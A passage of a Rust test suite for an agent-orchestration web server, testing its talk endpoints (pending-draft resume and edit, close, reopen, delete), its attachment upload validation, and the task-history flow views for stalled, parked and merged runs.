9177 panic!(
9178 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9179 )
9180 })
9181 .expect("the busy branch dropped the gate without using it");
9182
9183 let running = talks.get(&id).expect("reload talk");
9190 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9191
9192 handler.abort();
9196 let _ = handler.await;
9197
9198 let _ = release_tx.send(());
9204
9205 let mut fresh = talks.get(&id).expect("reload talk");
9208 for _ in 0..SETTLE_STEPS {
9209 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9210 break;
9211 }
9212 tokio::time::sleep(Duration::from_millis(10)).await;
9213 fresh = talks.get(&id).expect("reload talk");
9214 }
9215 assert!(
9216 fresh.pending.is_empty() && fresh.turns.len() == 2,
9217 "attempt {attempt}: talk {id} left the operator's text queued \
9218 with no drainer - the reclaimed turn was dropped along with \
9219 the handler future (pending {:?}, {} turns)",
9220 fresh.pending,
9221 fresh.turns.len()
9222 );
9223 }
9224 }
9225
9226 #[tokio::test]
9227 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9228 let (_tmp, _repo, f) = talk_fixture().await;
9229 let id = f.post("/api/talks", None).await.json()["id"]
9230 .as_str()
9231 .expect("id")
9232 .to_owned();
9233 let store = f.talks();
9234 let mut recovered = store.get(&id).expect("opened talk");
9235 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9236 .expect("persist pending draft without a live turn");
9237
9238 let edited = f
9239 .post(
9240 &format!("/api/talks/{id}/pending/edit"),
9241 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9242 )
9243 .await;
9244 assert_eq!(edited.status, 200, "{}", edited.body);
9245 assert!(edited.json()["thinking"].as_bool().unwrap());
9246
9247 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9248 for _ in 0..SETTLE_STEPS {
9249 if detail["turns"].as_array().expect("turns").len() == 2 {
9250 break;
9251 }
9252 tokio::time::sleep(Duration::from_millis(10)).await;
9253 detail = f.get(&format!("/api/talks/{id}")).await.json();
9254 }
9255 let turns = detail["turns"].as_array().expect("turns");
9256 assert_eq!(
9257 turns.len(),
9258 2,
9259 "the recovered draft must run once: {detail}"
9260 );
9261 assert_eq!(turns[0]["body"], "corrected");
9262 assert_eq!(detail["pending"], "");
9263 }
9264
9265 #[tokio::test]
9266 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9267 let tmp = TempDir::new().expect("tempdir");
9268 let repo = tmp.path().join("repo");
9269 std::fs::create_dir_all(&repo).expect("repo dir");
9270 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9271 let f = Fixture::with_repo(repo).await;
9272 let id = f.post("/api/talks", None).await.json()["id"]
9273 .as_str()
9274 .expect("id")
9275 .to_owned();
9276 let store = f.talks();
9277 let mut recovered = store.get(&id).expect("opened talk");
9278 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9279 .expect("persist pending draft without a live turn");
9280
9281 let refused = f
9282 .post(
9283 &format!("/api/talks/{id}/say"),
9284 Some(r#"{"text":"new message"}"#),
9285 )
9286 .await;
9287 assert_eq!(refused.status, 409, "{}", refused.body);
9288 assert!(refused.body.contains("resume"), "{}", refused.body);
9289 let saved = store.get(&id).expect("draft remains after refusal");
9290 assert!(saved.turns.is_empty());
9291 assert_eq!(saved.pending, "saved before restart");
9292
9293 let say_path = format!("/api/talks/{id}/say");
9294 let (first, second) = tokio::join!(
9295 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9296 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9297 );
9298 assert_eq!(first.status, 409, "{}", first.body);
9299 assert_eq!(second.status, 409, "{}", second.body);
9300 let saved = store
9301 .get(&id)
9302 .expect("draft remains after concurrent refusals");
9303 assert!(saved.turns.is_empty());
9304 assert_eq!(saved.pending, "saved before restart");
9305
9306 let resumed = f
9307 .post(&format!("/api/talks/{id}/pending/resume"), None)
9308 .await;
9309 assert_eq!(resumed.status, 202, "{}", resumed.body);
9310 let duplicate = f
9311 .post(&format!("/api/talks/{id}/pending/resume"), None)
9312 .await;
9313 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9314
9315 for _ in 0..SETTLE_STEPS {
9316 if store.get(&id).expect("talk").turns.len() == 2 {
9317 break;
9318 }
9319 tokio::time::sleep(Duration::from_millis(10)).await;
9320 }
9321 let finished = store.get(&id).expect("finished talk");
9322 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9323 assert_eq!(finished.turns[0].body, "saved before restart");
9324 assert!(finished.pending.is_empty());
9325 }
9326
9327 #[tokio::test]
9328 async fn an_image_only_recovered_draft_resumes_without_text() {
9329 let (_tmp, _repo, f) = talk_fixture().await;
9330 let id = f.post("/api/talks", None).await.json()["id"]
9331 .as_str()
9332 .expect("id")
9333 .to_owned();
9334 let uploaded = f
9335 .post_bytes(
9336 &format!("/api/talks/{id}/attachments"),
9337 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9338 PNG_BYTES,
9339 )
9340 .await;
9341 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9342 let attachment = f
9343 .talks()
9344 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9345 .expect("attachment metadata")
9346 .expect("stored attachment");
9347 let store = f.talks();
9348 let mut recovered = store.get(&id).expect("opened talk");
9349 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9350
9351 let resumed = f
9352 .post(&format!("/api/talks/{id}/pending/resume"), None)
9353 .await;
9354 assert_eq!(resumed.status, 202, "{}", resumed.body);
9355 for _ in 0..SETTLE_STEPS {
9356 if store.get(&id).expect("talk").turns.len() == 2 {
9357 break;
9358 }
9359 tokio::time::sleep(Duration::from_millis(10)).await;
9360 }
9361 let finished = store.get(&id).expect("finished talk");
9362 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9363 assert!(finished.turns[0].body.is_empty());
9364 assert_eq!(finished.turns[0].attachments.len(), 1);
9365 assert!(finished.pending_attachments.is_empty());
9366 }
9367
9368 #[tokio::test]
9369 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9370 let (_tmp, _repo, f) = talk_fixture().await;
9371 let id = f.post("/api/talks", None).await.json()["id"]
9372 .as_str()
9373 .expect("id")
9374 .to_owned();
9375 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9376 assert_eq!(closed.status, 200, "{}", closed.body);
9377 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9378 .expect("serialize closed talk");
9379 for (path, body) in [
9380 (format!("/api/talks/{id}/pending/resume"), None),
9381 (
9382 format!("/api/talks/{id}/pending/clear"),
9383 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9384 ),
9385 (
9386 format!("/api/talks/{id}/pending/edit"),
9387 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9388 ),
9389 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9390 ] {
9391 let response = f.post(&path, body).await;
9392 assert_eq!(response.status, 409, "{}", response.body);
9393 }
9394 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9395 .expect("serialize closed talk");
9396 assert_eq!(
9397 after_clear, before_clear,
9398 "clear must not rewrite a closed talk"
9399 );
9400 }
9401
9402 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9405
9406 #[tokio::test]
9407 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9408 let tmp = TempDir::new().expect("tempdir");
9409 let repo = tmp.path().join("repo");
9410 std::fs::create_dir_all(&repo).expect("repo dir");
9411 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9412 let f = Fixture::with_repo(repo).await;
9413 let id_a = f.post("/api/talks", None).await.json()["id"]
9414 .as_str()
9415 .unwrap()
9416 .to_owned();
9417 let id_b = f.post("/api/talks", None).await.json()["id"]
9418 .as_str()
9419 .unwrap()
9420 .to_owned();
9421
9422 let a = f
9423 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9424 .await;
9425 assert_eq!(a.status, 202, "{}", a.body);
9426 assert_eq!(a.json()["thinking"], true);
9427 let b = f
9428 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9429 .await;
9430 assert_eq!(b.status, 202, "{}", b.body);
9431 assert_eq!(b.json()["thinking"], true);
9432
9433 let listed = f.get("/api/talks").await.json();
9434 for id in [&id_a, &id_b] {
9435 let view = listed
9436 .as_array()
9437 .unwrap()
9438 .iter()
9439 .find(|talk| talk["id"] == *id)
9440 .unwrap();
9441 assert_eq!(view["thinking"], true, "{listed}");
9442 }
9443 let repeated = f
9444 .post(
9445 &format!("/api/talks/{id_a}/say"),
9446 Some(r#"{"text":"again"}"#),
9447 )
9448 .await;
9449 assert_eq!(repeated.status, 202, "{}", repeated.body);
9450 assert_eq!(repeated.json()["pending"], "again");
9451 }
9452
9453 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9456
9457 #[tokio::test]
9458 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9459 let f = Fixture::start().await;
9460 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9461
9462 let res = f
9463 .post_bytes(
9464 &format!("/api/talks/{id}/attachments"),
9465 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9466 PNG_BYTES,
9467 )
9468 .await;
9469 assert_eq!(res.status, 201, "{}", res.body);
9470 let body = res.json();
9471 assert_eq!(body["name"], "shot.png");
9472 assert_eq!(body["mime"], "image/png");
9473 assert_eq!(body["bytes"], PNG_BYTES.len());
9474 let att_id = body["id"].as_str().expect("id").to_owned();
9475 assert_eq!(
9476 att_id.len(),
9477 32,
9478 "the id must never be a client-suppliable path: {att_id}"
9479 );
9480
9481 let got = f
9482 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9483 .await;
9484 assert_eq!(got.status, 200, "{}", got.body);
9485 assert_eq!(got.header("content-type"), Some("image/png"));
9486 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9487 assert_eq!(got.bytes, PNG_BYTES);
9488 }
9489
9490 #[tokio::test]
9491 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9492 let f = Fixture::start().await;
9493 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9494
9495 let svg = f
9498 .post_bytes(
9499 &format!("/api/talks/{id}/attachments"),
9500 &[("Content-Type", "image/svg+xml")],
9501 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9502 )
9503 .await;
9504 assert!(
9505 (400..500).contains(&svg.status),
9506 "svg must be refused: {} {}",
9507 svg.status,
9508 svg.body
9509 );
9510 assert!(svg.body.contains("SVG"), "{}", svg.body);
9511
9512 let text = f
9513 .post_bytes(
9514 &format!("/api/talks/{id}/attachments"),
9515 &[("Content-Type", "text/plain")],
9516 b"just some text",
9517 )
9518 .await;
9519 assert!(
9520 (400..500).contains(&text.status),
9521 "an unlisted type must be refused: {} {}",
9522 text.status,
9523 text.body
9524 );
9525
9526 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9529 let big = f
9530 .post_bytes(
9531 &format!("/api/talks/{id}/attachments"),
9532 &[("Content-Type", "image/png")],
9533 &oversized,
9534 )
9535 .await;
9536 assert_eq!(
9537 big.status,
9538 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9539 "{}",
9540 big.body
9541 );
9542 }
9543
9544 #[tokio::test]
9545 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9546 let f = Fixture::start().await;
9547 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9548
9549 let res = f
9552 .post_bytes(
9553 &format!("/api/talks/{id}/attachments"),
9554 &[("Content-Type", "image/png")],
9555 b"<html>not a picture</html>",
9556 )
9557 .await;
9558 assert!((400..500).contains(&res.status), "{}", res.body);
9559 }
9560
9561 #[tokio::test]
9562 async fn an_unknown_attachment_id_is_a_404() {
9563 let f = Fixture::start().await;
9564 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9565
9566 let res = f
9567 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9568 .await;
9569 assert_eq!(res.status, 404, "{}", res.body);
9570 }
9571
9572 #[tokio::test]
9573 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9574 let f = Fixture::start().await;
9575 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9576
9577 let uploaded = f
9578 .post_bytes(
9579 &format!("/api/talks/{id}/attachments"),
9580 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9581 PNG_BYTES,
9582 )
9583 .await;
9584 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9585 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9586
9587 let res = f
9588 .post(
9589 &format!("/api/talks/{id}/say"),
9590 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9591 )
9592 .await;
9593 assert_eq!(res.status, 202, "{}", res.body);
9594 let queued = res.json();
9595 let turns = queued["turns"].as_array().expect("turns array");
9596 assert_eq!(
9597 turns.len(),
9598 1,
9599 "an empty body with an attachment is still a turn: {queued}"
9600 );
9601 assert_eq!(turns[0]["who"], "operator");
9602 assert_eq!(turns[0]["body"], "");
9603 let atts = turns[0]["attachments"]
9604 .as_array()
9605 .expect("attachments array");
9606 assert_eq!(atts.len(), 1);
9607 assert_eq!(atts[0]["id"], att_id);
9608 assert_eq!(atts[0]["mime"], "image/png");
9609
9610 let on_disk = f.talks().get(&id).expect("get");
9613 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9614 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9615 }
9616
9617 #[tokio::test]
9618 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9619 let f = Fixture::start().await;
9620 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9621
9622 let res = f
9623 .post(
9624 &format!("/api/talks/{id}/say"),
9625 Some(&format!(
9626 r#"{{"text":"hi","attachments":["{}"]}}"#,
9627 "a".repeat(32)
9628 )),
9629 )
9630 .await;
9631 assert!((400..500).contains(&res.status), "{}", res.body);
9632 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9633
9634 let on_disk = f.talks().get(&id).expect("get");
9635 assert!(
9636 on_disk.turns.is_empty(),
9637 "a rejected attachment id must not partially record the turn: {:?}",
9638 on_disk.turns
9639 );
9640 }
9641
9642 #[tokio::test]
9643 async fn talk_close_makes_the_talk_refuse_further_turns() {
9644 let f = Fixture::start().await;
9645 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9646
9647 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9648 assert_eq!(closed.status, 200, "{}", closed.body);
9649 assert_eq!(closed.json()["status"], "closed");
9650
9651 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9653 assert_eq!(closed_again.status, 200);
9654 assert_eq!(closed_again.json()["status"], "closed");
9655
9656 let said = f
9657 .post(
9658 &format!("/api/talks/{id}/say"),
9659 Some(r#"{"text":"too late"}"#),
9660 )
9661 .await;
9662 assert_eq!(said.status, 409, "{}", said.body);
9663 }
9664
9665 #[tokio::test]
9666 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9667 let (_tmp, _repo, f) = talk_fixture().await;
9668 let id = f.post("/api/talks", None).await.json()["id"]
9669 .as_str()
9670 .expect("id")
9671 .to_owned();
9672 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9673 assert_eq!(closed.status, 200, "{}", closed.body);
9674
9675 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9676 assert_eq!(reopened.status, 200, "{}", reopened.body);
9677 assert_eq!(reopened.json()["status"], "open");
9678
9679 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9681 assert_eq!(reopened_again.status, 200);
9682 assert_eq!(reopened_again.json()["status"], "open");
9683
9684 let said = f
9685 .post(
9686 &format!("/api/talks/{id}/say"),
9687 Some(r#"{"text":"still there?"}"#),
9688 )
9689 .await;
9690 assert_eq!(
9691 said.status, 202,
9692 "a reopened talk accepts turns again: {}",
9693 said.body
9694 );
9695 }
9696
9697 #[tokio::test]
9698 async fn talk_reopen_on_an_unknown_id_is_404() {
9699 let f = Fixture::start().await;
9700 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9701 assert_eq!(res.status, 404, "{}", res.body);
9702 }
9703
9704 #[tokio::test]
9705 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9706 let f = Fixture::start().await;
9707 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9708
9709 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9710 assert_eq!(deleted.status, 204, "{}", deleted.body);
9711
9712 let after = f.get(&format!("/api/talks/{id}")).await;
9713 assert_eq!(after.status, 404, "{}", after.body);
9714
9715 let listed = f.get("/api/talks").await.json();
9716 assert!(
9717 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9718 "a deleted talk must not linger in the list: {listed}"
9719 );
9720 }
9721
9722 #[tokio::test]
9723 async fn talk_delete_on_an_unknown_id_is_404() {
9724 let f = Fixture::start().await;
9725 let res = f.delete("/api/talks/nonexistent-id").await;
9726 assert_eq!(res.status, 404, "{}", res.body);
9727 }
9728
9729 #[tokio::test]
9733 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9734 let f = Fixture::start().await;
9735 let (a, b, gone) = (
9736 "20260902-140501-aaaa",
9737 "20260902-140502-bbbb",
9738 "20260902-140503-cccc",
9739 );
9740 write_run(&f.runs(), a, RunStatus::Stalled);
9741 let mut review = RunState::new(
9742 PathBuf::from("/repo/magi"),
9743 "main".to_owned(),
9744 "0123456789abcdef".to_owned(),
9745 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9746 .to_owned(),
9747 Config::default(),
9748 );
9749 review.id = b.to_owned();
9750 review.status = RunStatus::Merged;
9751 write_state(&f.runs(), &review);
9752
9753 let mut task = Task::new(
9754 "retry".to_owned(),
9755 "Do the thing".to_owned(),
9756 PathBuf::from("/repo/magi"),
9757 Source::Human,
9758 );
9759 task.start(a.to_owned());
9760 task.stall("quota");
9761 task.start(a.to_owned());
9762 task.start(b.to_owned());
9763 task.start(gone.to_owned());
9764 f.queue().put(&mut task).expect("file the task");
9765
9766 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9767 assert_eq!(res.status, 200, "{}", res.body);
9768 let v = res.json();
9769 let h = v["history"].as_array().expect("history");
9770 assert_eq!(h.len(), 4, "{v}");
9771 assert_eq!(h[0]["kind"], "competition");
9772 assert_eq!(h[0]["status"], "stalled");
9773 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9774 assert_eq!(h[1]["kind"], "resume", "{v}");
9775 assert!(
9776 h[0]["outcome"]
9777 .as_str()
9778 .unwrap()
9779 .contains("unknown. Pass #2"),
9780 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9781 );
9782 assert!(
9783 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9784 "{v}"
9785 );
9786 assert!(
9787 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9788 "an unrecorded cause must not be narrated as an operator park: {v}"
9789 );
9790 assert_eq!(h[2]["kind"], "review");
9791 assert!(
9792 h[2]["description"]
9793 .as_str()
9794 .unwrap()
9795 .contains("magi/aaaa/A")
9796 );
9797 assert_eq!(h[2]["status"], "merged");
9798 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9799 assert_eq!(v["runs_unreadable"], 1);
9800 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9801 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9802 assert_eq!(nodes[4]["note"], "unreadable");
9803 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9804 assert_eq!(v["instruction"], "Do the thing");
9805 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9806
9807 let run = f.get(&format!("/api/runs/{a}")).await.json();
9809 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9810
9811 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9812 }
9813
9814 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9815 let mut s = RunState::new(
9816 PathBuf::from("/repo/magi"),
9817 "main".to_owned(),
9818 "0123456789abcdef".to_owned(),
9819 "Do it".to_owned(),
9820 Config::default(),
9821 );
9822 s.status = status;
9823 edit(&mut s);
9824 s
9825 }
9826
9827 fn flow_task(runs: &[&str]) -> Task {
9828 let mut t = Task::new(
9829 "t".to_owned(),
9830 "Do it".to_owned(),
9831 PathBuf::from("/repo/magi"),
9832 Source::Human,
9833 );
9834 for r in runs {
9835 t.start((*r).to_owned());
9836 }
9837 t
9838 }
9839
9840 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9841 let h = task_history(task, |id| {
9842 states
9843 .iter()
9844 .find(|(i, _)| *i == id)
9845 .and_then(|(_, s)| s.clone())
9846 });
9847 task_flow(task, &h, 5)
9848 }
9849
9850 #[test]
9851 fn flow_opens_with_the_chat_that_queued_the_task() {
9852 let mut t = flow_task(&[]);
9853 t.source = Source::Agent {
9854 run: "a b/c".to_owned(),
9855 node: crate::queue::CHAT_NODE.to_owned(),
9856 };
9857 let f = flow_for(&t, &[]);
9858 assert_eq!(f.nodes[0].key, "chat");
9859 assert_eq!(f.nodes[0].kind, "chat");
9860 assert_eq!(
9861 f.nodes[0].label,
9862 format!("Chat {}", crate::queue::short("a b/c"))
9863 );
9864 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9865 assert_eq!(f.nodes[1].key, "start");
9866 assert_eq!(
9867 f.edges[0],
9868 FlowEdge {
9869 from: "chat".to_owned(),
9870 to: "start".to_owned(),
9871 label: "queued from chat".to_owned(),
9872 attempt: AttemptCost::None,
9873 }
9874 );
9875 }
9876
9877 #[test]
9878 fn flow_has_no_chat_box_for_other_sources() {
9879 for source in [
9880 Source::Human,
9881 Source::Issue {
9882 number: 3,
9883 repo: "o/r".to_owned(),
9884 },
9885 Source::Agent {
9886 run: "20260904-014455-ab12".to_owned(),
9887 node: "implement".to_owned(),
9888 },
9889 ] {
9890 let mut t = flow_task(&[]);
9891 t.source = source;
9892 let f = flow_for(&t, &[]);
9893 assert_eq!(f.nodes[0].key, "start");
9894 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9895 assert!(f.edges.iter().all(|e| e.from != "chat"));
9896 }
9897 }
9898
9899 const FA: &str = "20260902-140501-aaaa";
9900 const FB: &str = "20260902-140502-bbbb";
9901
9902 #[test]
9903 fn flow_follows_blocked_retry_merged_to_done() {
9904 let mut t = flow_task(&[FA, FB]);
9905 t.status = TaskStatus::Done;
9906 let f = flow_for(
9907 &t,
9908 &[
9909 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9910 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9911 ],
9912 );
9913 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9914 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9915 assert_eq!(f.edges.len(), 3);
9916 assert_eq!(f.edges[0].label, "claimed");
9917 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9918 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9919 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9920 assert_eq!(
9921 f.nodes[2].href.as_deref(),
9922 Some("#/runs/20260902-140502-bbbb")
9923 );
9924 assert!(f.nodes[2].decided);
9925 }
9926
9927 #[test]
9928 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9929 let quota = || {
9930 flow_run(RunStatus::Stalled, |s| {
9931 s.quota.push(crate::run::QuotaLoss {
9932 seat: "judge-1".to_owned(),
9933 node: "judge".to_owned(),
9934 at: Timestamp::now(),
9935 reset: None,
9936 })
9937 })
9938 };
9939 let mut t = flow_task(&[FA, FA]);
9940 t.status = TaskStatus::Queued;
9941 let f = flow_for(&t, &[(FA, Some(quota()))]);
9942 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9943 assert_eq!(f.nodes[1].note, Some("interrupted"));
9944 assert_eq!(
9945 f.nodes[1].status, None,
9946 "no outcome copied onto an earlier pass"
9947 );
9948 assert_eq!(
9949 f.edges[1].attempt,
9950 AttemptCost::Unknown,
9951 "a resume does not prove the earlier pass was refunded"
9952 );
9953 assert!(f.edges[1].label.contains("resume the same run"));
9954 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9955 assert_eq!(
9956 f.edges[2].label,
9957 "stalled after a resume, refund unknown \u{2192} queued"
9958 );
9959 assert!(!f.nodes[2].decided, "a stall is not a decision");
9960 assert_eq!(f.nodes[2].note, Some("no verdict"));
9961 }
9962
9963 #[test]
9964 fn flow_single_pass_quota_stall_is_refunded() {
9965 let t = flow_task(&[FA]);
9966 let f = flow_for(
9967 &t,
9968 &[(
9969 FA,
9970 Some(flow_run(RunStatus::Stalled, |s| {
9971 s.quota.push(crate::run::QuotaLoss {
9972 seat: "judge-1".to_owned(),
9973 node: "judge".to_owned(),
9974 at: Timestamp::now(),
9975 reset: None,
9976 })
9977 })),
9978 )],
9979 );
9980 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9981 }
9982
9983 #[test]
9984 fn flow_parked_refunds_and_stall_without_quota_spends() {
9985 let mut t = flow_task(&[FA]);
9986 t.status = TaskStatus::Queued;
9987 let f = flow_for(
9988 &t,
9989 &[(
9990 FA,
9991 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9992 )],
9993 );
9994 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9995 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9996 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9997 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9998 assert!(!f.nodes[1].decided);
9999 }
10000
10001 #[test]
10002 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10003 let t = flow_task(&[FA, FB]);
10004 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10005 assert_eq!(f.nodes[1].note, Some("unreadable"));
10006 assert!(!f.nodes[1].readable);
10007 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10008 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10009 }
10010
10011 #[test]
10012 fn flow_names_the_branch_of_a_review_only_run() {
10013 let t = flow_task(&[FA]);
10014 let f = flow_for(
10015 &t,
10016 &[(
10017 FA,
10018 Some(flow_run(RunStatus::Merged, |s| {
10019 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10020 })),
10021 )],
10022 );
10023 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10024 assert_eq!(
10025 f.nodes[1].detail.as_deref(),
10026 Some("review-only run of branch magi/x/A")
10027 );
10028 }
10029
10030 #[test]
10031 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10032 let mut t = flow_task(&[FA]);
10033 t.status = TaskStatus::Held;
10034 let pr = crate::run::PrRecord {
10035 url: "https://example.test/pr/1".to_owned(),
10036 number: 1,
10037 state: "open".to_owned(),
10038 checks: "green".to_owned(),
10039 round: 0,
10040 rounds: 3,
10041 red_at_merge: Vec::new(),
10042 };
10043 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10044 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10045 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10046 t.status = TaskStatus::Done;
10047 let f = flow_for(&t, &[(FA, Some(blocked))]);
10048 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10049 }
10050
10051 #[test]
10052 fn flow_with_no_runs_goes_from_queued_to_queued() {
10053 let t = flow_task(&[]);
10054 let f = flow_for(&t, &[]);
10055 assert_eq!(f.nodes.len(), 2);
10056 assert_eq!(f.edges.len(), 1);
10057 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10058 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10059 }
10060
10061 #[test]
10064 fn a_parked_non_terminal_run_is_explained_as_parked() {
10065 let mut s = RunState::new(
10066 PathBuf::from("/repo/magi"),
10067 "main".to_owned(),
10068 "0123456789abcdef".to_owned(),
10069 "Do it".to_owned(),
10070 Config::default(),
10071 );
10072 s.status = RunStatus::Implementing;
10073 s.parked = true;
10074 let task = Task::new(
10075 "t".to_owned(),
10076 "Do it".to_owned(),
10077 PathBuf::from("/repo/magi"),
10078 Source::Human,
10079 );
10080 let v = task_run_view(
10081 "20260902-140501-aaaa",
10082 Some(&s),
10083 RunSlot {
10084 n: 1,
10085 resumed: false,
10086 resumed_later: None,
10087 prior: None,
10088 last: true,
10089 },
10090 &task,
10091 );
10092 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10093 }
10094
10095 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10096 let mut s = flow_run(RunStatus::Implementing, edit);
10097 s.parked = false;
10098 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10099 task_run_view(
10100 "20260902-140501-aaaa",
10101 Some(&s),
10102 RunSlot {
10103 n: 1,
10104 resumed: false,
10105 resumed_later: Some(2),
10106 prior: None,
10107 last: false,
10108 },
10109 &task,
10110 )
